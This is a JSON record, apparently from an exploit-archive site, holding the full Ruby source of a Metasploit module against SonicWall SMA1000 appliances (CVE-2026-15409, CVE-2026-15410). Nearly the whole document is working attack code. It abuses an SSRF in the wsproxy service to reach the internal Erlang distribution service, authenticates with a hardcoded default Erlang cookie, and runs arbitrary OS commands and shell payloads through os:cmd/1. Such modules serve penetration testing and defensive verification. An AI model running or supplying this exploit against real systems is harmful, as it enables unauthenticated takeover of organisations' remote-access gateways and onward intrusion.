{"exploit":{"id":"MSF-linux--http--sonicwall_sma1000_wsproxy_rce","name":"SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution","description":"This module exploits a Server-Side Request Forgery (SSRF) vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to access the internal Erlang distribution service. After authenticating using the known Erlang distribution cookie, the module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix commands in the context of the vulnerable SMA service. The check method performs a benign Erlang node RPC rather than executing an operating system command.","cves":["CVE-2026-15409","CVE-2026-15410"],"author":"Ryan Emmons, Deral Heiland, Rapid7 Vulnerability Research","published":"2026-07-14","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/sonicwall_sma1000_wsproxy_rce.rb","path":"modules/exploits/linux/http/sonicwall_sma1000_wsproxy_rce.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"sonicwall_sma1000_wsproxy_rce.rb","vulnerabilities":[{"id":"CVE-2026-15409","state":"PUBLISHED","title":null,"titleSource":null,"description":"A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. A remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15409","cvss":{"version":"3.1","baseScore":10,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15409"},"updatedAt":"2026-08-04T03:56:14.089Z","retrievedAt":"2026-11-25T16:13:47.391Z","stale":false,"error":null},{"id":"CVE-2026-15410","state":"PUBLISHED","title":null,"titleSource":null,"description":"Post-authentication improper control of generation of code ('Code Injection') vulnerability has been identified in the SMA1000 Appliance Management Console (AMC) which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15410","cvss":{"version":"3.1","baseScore":7.2,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-15410"},"updatedAt":"2026-08-04T03:56:15.680Z","retrievedAt":"2026-11-25T16:13:47.392Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--sonicwall_sma1000_wsproxy_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--sonicwall_sma1000_wsproxy_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--sonicwall_sma1000_wsproxy_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--sonicwall_sma1000_wsproxy_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'base64'\nrequire 'digest'\nrequire 'securerandom'\nrequire 'timeout'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  ETF_VERSION = 131\n  SMALL_INTEGER_EXT = 97\n  INTEGER_EXT = 98\n  ATOM_EXT = 100\n  REFERENCE_EXT = 101\n  PID_EXT = 103\n  SMALL_TUPLE_EXT = 104\n  NIL_EXT = 106\n  STRING_EXT = 107\n  LIST_EXT = 108\n  BINARY_EXT = 109\n  ATOM_UTF8_EXT = 118\n  SMALL_ATOM_UTF8_EXT = 119\n  NEW_PID_EXT = 88\n  NEWER_REFERENCE_EXT = 90\n\n  DFLAG_EXTENDED_REFERENCES = 0x00000004\n  DFLAG_FUN_TAGS = 0x00000010\n  DFLAG_NEW_FUN_TAGS = 0x00000080\n  DFLAG_EXTENDED_PIDS_PORTS = 0x00000100\n  DFLAG_EXPORT_PTR_TAG = 0x00000200\n  DFLAG_BIT_BINARIES = 0x00000400\n  DFLAG_NEW_FLOATS = 0x00000800\n  DFLAG_UTF8_ATOMS = 0x00010000\n  DFLAG_MAP_TAG = 0x00020000\n  DFLAG_BIG_CREATION = 0x00040000\n  DFLAG_HANDSHAKE_23 = 0x01000000\n\n  DIST_FLAGS = DFLAG_EXTENDED_REFERENCES |\n               DFLAG_FUN_TAGS |\n               DFLAG_NEW_FUN_TAGS |\n               DFLAG_EXTENDED_PIDS_PORTS |\n               DFLAG_EXPORT_PTR_TAG |\n               DFLAG_BIT_BINARIES |\n               DFLAG_NEW_FLOATS |\n               DFLAG_UTF8_ATOMS |\n               DFLAG_MAP_TAG |\n               DFLAG_BIG_CREATION |\n               DFLAG_HANDSHAKE_23\n\n  SmaReadyFrame = \"\\x0b\\x00\\x00\\x00\\x00\".b\n\n  Pid = Struct.new(:node, :ident, :serial, :creation)\n  Reference = Struct.new(:node, :ident, :creation)\n\n  # Adapts the SMA Connect Agent WebSocket protocol to the socket-like\n  # sendall/recv interface required by the Erlang distribution implementation.\n  #\n  # WebSocket framing and connection handling are provided by Rex. This adapter\n  # handles SMA-specific Base64 encoding, the initial ready frame, and buffering\n  # for exact-length Erlang reads.\n  class SmaErlangWebSocketAdapter\n    def initialize(wsock, read_timeout, verbose_proc = nil)\n      @wsock = wsock\n      @read_timeout = read_timeout\n      @verbose_proc = verbose_proc\n      @recv_buffer = ''.b\n      consume_ready_frame\n    end\n\n    def sendall(data)\n      # The SMA Connect Agent protocol sends base64 data in WebSocket text frames.\n      @wsock.put_wstext(Base64.strict_encode64(data))\n    end\n\n    def recv(size)\n      while @recv_buffer.bytesize < size\n        message = read_message\n        break if message.nil?\n\n        @recv_buffer << message\n      end\n\n      result = @recv_buffer.byteslice(0, size) || ''.b\n      @recv_buffer = @recv_buffer.byteslice(size..) || ''.b\n      result\n    end\n\n    def close\n      @wsock.wsclose\n    rescue StandardError\n      nil\n    end\n\n    private\n\n    def consume_ready_frame\n      message = read_message(timeout: 1, allow_timeout: true)\n      return if message.nil?\n\n      if message == MetasploitModule::SmaReadyFrame\n        @verbose_proc&.call('Received SMA ready frame')\n      else\n        @recv_buffer << message\n      end\n    end\n\n    def read_message(timeout: @read_timeout, allow_timeout: false)\n      result = catch(:sma_websocket_message) do\n        Timeout.timeout(timeout) do\n          # Rex wsloop handles WebSocket fragmentation, masking, ping/pong, and\n          # close frames. Throwing from the callback returns one complete message\n          # without allowing wsloop to close the still-active WebSocket.\n          @wsock.wsloop do |data, _data_type|\n            throw :sma_websocket_message, data.to_s.b\n          end\n        end\n\n        nil\n      end\n\n      result\n    rescue Timeout::Error\n      return nil if allow_timeout\n\n      raise Rex::TimeoutError, 'Timed out waiting for WebSocket data'\n    end\n  end\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution',\n        'Description' => %q{\n          This module exploits a Server-Side Request Forgery (SSRF)\n          vulnerability in the SonicWall SMA1000 WorkPlace wsproxy service to\n          access the internal Erlang distribution service.\n\n          After authenticating using the known Erlang distribution cookie, the\n          module invokes os:cmd/1 through Erlang RPC to execute arbitrary Unix\n          commands in the context of the vulnerable SMA service.\n\n          The check method performs a benign Erlang node RPC rather than\n          executing an operating system command.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Ryan Emmons', # Original Python PoC research and development\n          'Deral Heiland', # Metasploit module testing and development\n          'Rapid7 Vulnerability Research'\n        ],\n        'References' => [\n          ['CVE', '2026-15409'],\n          ['URL', 'https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008'],\n          ['URL', 'https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/']\n        ],\n        'DisclosureDate' => '2026-07-14',\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true,\n          'FETCH_WRITABLE_DIR' => '/tmp',\n          'WfsDelay' => 10\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'SMA WorkPlace base path', '/']),\n        OptString.new('WSHOST', [true, 'Internal host supplied to wsproxy', '0.0.0.0']),\n        OptPort.new('WSPORT', [true, 'Internal Erlang distribution service port', 1050]),\n        OptString.new('BMID', [true, 'Bookmark identifier beginning with -3389', '-3389c1b25ccd']),\n        OptString.new('SERVICE_TYPE', [true, 'wsproxy service type', 'SSH']),\n        OptString.new('ORIGIN', [false, 'WebSocket Origin header; generated automatically when empty', '']),\n        OptString.new('WS_USER_AGENT', [true, 'WebSocket User-Agent header', 'SMA Connect Agent']),\n        OptString.new('ERLANG_COOKIE', [true, 'Erlang distribution cookie', '10ecad5b446e86864832904cd439b6b70262']),\n        OptString.new('NODE_NAME', [false, 'Erlang client node name; generated automatically when empty', '']),\n        OptInt.new('WS_READ_TIMEOUT', [true, 'Seconds to wait for WebSocket protocol data', 10])\n      ]\n    )\n  end\n\n  def websocket_uri\n    query = \"bmID=#{Rex::Text.uri_encode(datastore['BMID'])}\" \\\n            \"&serviceType=#{Rex::Text.uri_encode(datastore['SERVICE_TYPE'])}\" \\\n            \"&host=#{Rex::Text.uri_encode(datastore['WSHOST'])}\" \\\n            \"&port=#{datastore['WSPORT']}\"\n\n    \"#{normalize_uri(target_uri.path, 'wsproxy')}?#{query}\"\n  end\n\n  def websocket_origin\n    return datastore['ORIGIN'] unless datastore['ORIGIN'].blank?\n\n    scheme = ssl ? 'https' : 'http'\n    default_port = ssl ? 443 : 80\n    authority = vhost\n    authority = \"#{authority}:#{rport}\" unless rport == default_port\n    \"#{scheme}://#{authority}\"\n  end\n\n  def erlang_node_name\n    return datastore['NODE_NAME'] unless datastore['NODE_NAME'].blank?\n\n    \"#{Rex::Text.rand_text_numeric(6)}@127.0.0.1\"\n  end\n\n  def connect_sma_websocket\n    vprint_status(\"Connecting to #{websocket_uri}\")\n    vprint_status(\"Origin: #{websocket_origin}\")\n    vprint_status(\"Internal destination: #{datastore['WSHOST']}:#{datastore['WSPORT']}\")\n\n    wsock = connect_ws(\n      'method' => 'GET',\n      'uri' => websocket_uri,\n      'headers' => {\n        'Origin' => websocket_origin,\n        'User-Agent' => datastore['WS_USER_AGENT'],\n        'Sec-WebSocket-Protocol' => 'binary'\n      }\n    )\n\n    vprint_good('WebSocket upgrade succeeded')\n    SmaErlangWebSocketAdapter.new(wsock, datastore['WS_READ_TIMEOUT'], proc { |message| vprint_status(message) })\n  end\n\n  def recv_exact(sock, size)\n    buffer = ''.b\n    while buffer.bytesize < size\n      chunk = sock.recv(size - buffer.bytesize)\n      raise EOFError, 'Peer closed the connection' if chunk.nil? || chunk.empty?\n\n      buffer << chunk\n    end\n    buffer\n  end\n\n  def send_handshake_packet(sock, payload)\n    sock.sendall([payload.bytesize].pack('n') + payload)\n  end\n\n  def recv_handshake_packet(sock)\n    size = recv_exact(sock, 2).unpack1('n')\n    recv_exact(sock, size)\n  end\n\n  def send_dist_packet(sock, payload)\n    sock.sendall([payload.bytesize].pack('N') + payload)\n  end\n\n  def recv_dist_packet(sock)\n    size = recv_exact(sock, 4).unpack1('N')\n    return ''.b if size.zero?\n\n    recv_exact(sock, size)\n  end\n\n  def erlang_digest(cookie, challenge)\n    Digest::MD5.digest(\"#{cookie}#{challenge}\")\n  end\n\n  def parse_challenge(payload)\n    case payload.byteslice(0, 1)\n    when 'N'\n      raise ArgumentError, 'Short new-style Erlang challenge packet' if payload.bytesize < 19\n\n      flags, challenge, creation, name_length = payload.byteslice(1, 18).unpack('Q>NNn')\n      name = payload.byteslice(19, name_length).to_s\n      [flags, challenge, creation, name]\n    when 'n'\n      raise ArgumentError, 'Short old-style Erlang challenge packet' if payload.bytesize < 11\n\n      _version, flags, challenge = payload.byteslice(1, 10).unpack('nNN')\n      name = payload.byteslice(11..).to_s\n      [flags, challenge, 0, name]\n    else\n      raise ArgumentError, \"Unexpected Erlang challenge tag: #{payload.byteslice(0, 1).inspect}\"\n    end\n  end\n\n  def etf_atom(value)\n    data = value.to_s.b\n    if data.bytesize <= 255\n      [SMALL_ATOM_UTF8_EXT, data.bytesize].pack('CC') + data\n    else\n      [ATOM_UTF8_EXT, data.bytesize].pack('Cn') + data\n    end\n  end\n\n  def etf_small_int(value)\n    raise ArgumentError, 'Small integer is outside the range 0..255' unless value.between?(0, 255)\n\n    [SMALL_INTEGER_EXT, value].pack('CC')\n  end\n\n  def etf_string(value)\n    data = value.to_s.b\n    raise ArgumentError, 'ETF STRING_EXT exceeds 65535 bytes' if data.bytesize > 65_535\n\n    [STRING_EXT, data.bytesize].pack('Cn') + data\n  end\n\n  def etf_nil\n    [NIL_EXT].pack('C')\n  end\n\n  def etf_tuple(*items)\n    raise ArgumentError, 'Tuple arity exceeds SMALL_TUPLE_EXT capacity' if items.length > 255\n\n    [SMALL_TUPLE_EXT, items.length].pack('CC') + items.join\n  end\n\n  def etf_list(items)\n    [LIST_EXT, items.length].pack('CN') + items.join + etf_nil\n  end\n\n  def etf_pid(pid)\n    [PID_EXT].pack('C') + etf_atom(pid.node) + [pid.ident, pid.serial, pid.creation].pack('NNC')\n  end\n\n  def decode_etf(data, offset = 0)\n    raise ArgumentError, 'Unexpected end of ETF data' if offset >= data.bytesize\n\n    tag = data.getbyte(offset)\n    offset += 1\n    return decode_etf(data, offset) if tag == ETF_VERSION\n\n    case tag\n    when SMALL_INTEGER_EXT\n      [data.getbyte(offset), offset + 1]\n    when INTEGER_EXT\n      [data.byteslice(offset, 4).unpack1('l>'), offset + 4]\n    when ATOM_EXT, ATOM_UTF8_EXT\n      length = data.byteslice(offset, 2).unpack1('n')\n      offset += 2\n      [data.byteslice(offset, length).to_s, offset + length]\n    when SMALL_ATOM_UTF8_EXT\n      length = data.getbyte(offset)\n      offset += 1\n      [data.byteslice(offset, length).to_s, offset + length]\n    when STRING_EXT\n      length = data.byteslice(offset, 2).unpack1('n')\n      offset += 2\n      [data.byteslice(offset, length).to_s, offset + length]\n    when BINARY_EXT\n      length = data.byteslice(offset, 4).unpack1('N')\n      offset += 4\n      [data.byteslice(offset, length).to_s.b, offset + length]\n    when NIL_EXT\n      [[], offset]\n    when SMALL_TUPLE_EXT\n      arity = data.getbyte(offset)\n      offset += 1\n      values = []\n      arity.times do\n        value, offset = decode_etf(data, offset)\n        values << value\n      end\n      [values.freeze, offset]\n    when LIST_EXT\n      length = data.byteslice(offset, 4).unpack1('N')\n      offset += 4\n      values = []\n      length.times do\n        value, offset = decode_etf(data, offset)\n        values << value\n      end\n      tail, offset = decode_etf(data, offset)\n      values << [:tail, tail] unless tail == []\n      [values, offset]\n    when PID_EXT\n      node, offset = decode_etf(data, offset)\n      ident, serial = data.byteslice(offset, 8).unpack('NN')\n      offset += 8\n      creation = data.getbyte(offset)\n      [Pid.new(node, ident, serial, creation), offset + 1]\n    when NEW_PID_EXT\n      node, offset = decode_etf(data, offset)\n      ident, serial, creation = data.byteslice(offset, 12).unpack('NNN')\n      [Pid.new(node, ident, serial, creation), offset + 12]\n    when REFERENCE_EXT\n      node, offset = decode_etf(data, offset)\n      ident = data.byteslice(offset, 4).unpack1('N')\n      offset += 4\n      creation = data.getbyte(offset)\n      [Reference.new(node, ident, creation), offset + 1]\n    when NEWER_REFERENCE_EXT\n      length = data.byteslice(offset, 2).unpack1('n')\n      offset += 2\n      node, offset = decode_etf(data, offset)\n      creation = data.byteslice(offset, 4).unpack1('N')\n      offset += 4\n      identifiers = []\n      length.times do\n        identifiers << data.byteslice(offset, 4).unpack1('N')\n        offset += 4\n      end\n      [[:reference, node, creation, identifiers], offset]\n    else\n      raise ArgumentError, \"Unsupported ETF tag #{tag} at offset #{offset - 1}\"\n    end\n  end\n\n  def rpc_call(sock, node_name, erlang_module, function, arguments)\n    sender_pid = Pid.new(node_name, 1, 0, 0)\n    request = etf_tuple(\n      etf_pid(sender_pid),\n      etf_tuple(\n        etf_atom('call'),\n        etf_atom(erlang_module),\n        etf_atom(function),\n        etf_list(arguments),\n        etf_atom('user')\n      )\n    )\n    control = etf_tuple(\n      etf_small_int(6),\n      etf_pid(sender_pid),\n      etf_atom('nocookie'),\n      etf_atom('rex')\n    )\n\n    send_dist_packet(sock, [112, ETF_VERSION].pack('CC') + control + [ETF_VERSION].pack('C') + request)\n\n    loop do\n      packet = recv_dist_packet(sock)\n      next if packet.empty?\n      raise \"Unexpected distribution packet type #{packet.getbyte(0)}\" unless packet.getbyte(0) == 112\n\n      control_term, offset = decode_etf(packet, 1)\n      message_term, = decode_etf(packet, offset)\n\n      next unless control_term.is_a?(Array) && control_term[0] == 2\n      next unless message_term.is_a?(Array) && message_term.length == 2 && message_term[0] == 'rex'\n\n      return message_term[1]\n    end\n  end\n\n  def erlang_connect_and_rpc(erlang_module, function, arguments)\n    sock = connect_sma_websocket\n    node_name = erlang_node_name\n    node_name_data = node_name.b\n\n    vprint_status(\"Using Erlang node name #{node_name}\")\n    name_packet = 'N'.b + [DIST_FLAGS, 0, node_name_data.bytesize].pack('Q>Nn') + node_name_data\n    send_handshake_packet(sock, name_packet)\n\n    status = recv_handshake_packet(sock)\n    raise \"Unexpected Erlang status packet: #{status.inspect}\" unless status.start_with?('s')\n\n    status_text = status.byteslice(1..).to_s\n    vprint_status(\"Erlang distribution status: #{status_text}\")\n    raise \"Erlang connection rejected: #{status_text}\" unless %w[ok ok_simultaneous].include?(status_text)\n\n    challenge_packet = recv_handshake_packet(sock)\n    peer_flags, peer_challenge, peer_creation, peer_name = parse_challenge(challenge_packet)\n    vprint_good(\"Reached Erlang node #{peer_name}\")\n    vprint_status(format('Peer flags: 0x%x', peer_flags))\n    vprint_status(\"Peer creation: #{peer_creation}\")\n\n    my_challenge = SecureRandom.random_number(0x1_0000_0000)\n    reply = 'r'.b + [my_challenge].pack('N') + erlang_digest(datastore['ERLANG_COOKIE'], peer_challenge)\n    send_handshake_packet(sock, reply)\n\n    acknowledgement = recv_handshake_packet(sock)\n    raise \"Unexpected Erlang acknowledgement: #{acknowledgement.inspect}\" unless acknowledgement.start_with?('a')\n    raise 'Erlang cookie authentication failed' unless acknowledgement.byteslice(1..) == erlang_digest(datastore['ERLANG_COOKIE'], my_challenge)\n\n    vprint_good('Erlang cookie authentication succeeded')\n    result = rpc_call(sock, node_name, erlang_module, function, arguments)\n    [result, peer_name]\n  ensure\n    sock&.close\n  end\n\n  def format_term(value)\n    case value\n    when String\n      value\n    when Array\n      \"{#{value.map { |item| format_term(item) }.join(', ')}}\"\n    when Pid\n      \"#Pid<#{value.node}.#{value.ident}.#{value.serial}>\"\n    when Reference\n      \"#Ref<#{value.node}.#{value.ident}>\"\n    else\n      value.to_s\n    end\n  end\n\n  def check\n    result, peer_name = erlang_connect_and_rpc('erlang', 'node', [])\n    node_result = format_term(result)\n    return CheckCode::Unknown('The Erlang RPC completed but returned an empty node name') if node_result.blank?\n\n    CheckCode::Appears(\"Authenticated to internal Erlang node #{peer_name}; erlang:node/0 returned #{node_result}\")\n  rescue Rex::Proto::Http::WebSocket::ConnectionError => e\n    details = e.http_response ? \"HTTP #{e.http_response.code}\" : e.message\n    CheckCode::Safe(\"The wsproxy WebSocket upgrade was rejected: #{details}\")\n  rescue Rex::ConnectionError, Rex::TimeoutError, EOFError => e\n    CheckCode::Unknown(\"Connection failed while testing the internal Erlang service: #{e.message}\")\n  rescue RuntimeError, ArgumentError => e\n    if e.message.include?('cookie authentication failed')\n      CheckCode::Appears(\"The internal Erlang service was reached, but the configured cookie was rejected: #{e.message}\")\n    else\n      CheckCode::Unknown(\"The internal protocol returned an unexpected result: #{e.message}\")\n    end\n  end\n\n  def execute_command(command, _opts = {})\n    print_status(\"Executing command through Erlang os:cmd/1: #{command}\")\n    result, peer_name = erlang_connect_and_rpc('os', 'cmd', [etf_string(command)])\n    output = format_term(result)\n    print_good(\"RPC completed through #{peer_name}\")\n    print_line(output) unless output.blank?\n    output\n  rescue Rex::Proto::Http::WebSocket::ConnectionError => e\n    fail_with(Failure::Unreachable, \"WebSocket connection failed: #{e.message}\")\n  rescue Rex::ConnectionError, EOFError => e\n    fail_with(Failure::Unreachable, \"Connection failed: #{e.message}\")\n  rescue RuntimeError, ArgumentError => e\n    fail_with(Failure::UnexpectedReply, e.message)\n  end\n\n  def exploit\n    execute_command(payload.encoded)\n  rescue Rex::TimeoutError => e\n    # A reverse or bind command shell can keep Erlang os:cmd/1 blocked even\n    # after Metasploit has successfully registered the new session. Only\n    # suppress the transport timeout when the framework confirms a session.\n    raise e unless session_created?\n\n    print_good('Session created; ignoring the expected Erlang RPC/WebSocket timeout from the still-running command shell.')\n    vprint_status(\"WebSocket timeout after session creation: #{e.message}\")\n  end\nend\n","sha256":"ed1581bd7a9259f70ae41be5a2d20976a398d164856ddb828beb59e418025214","bytes":18996,"fetchedAt":"2026-11-25T16:31:00.801Z","encoding":"utf-8 (display only; download retains original bytes)"}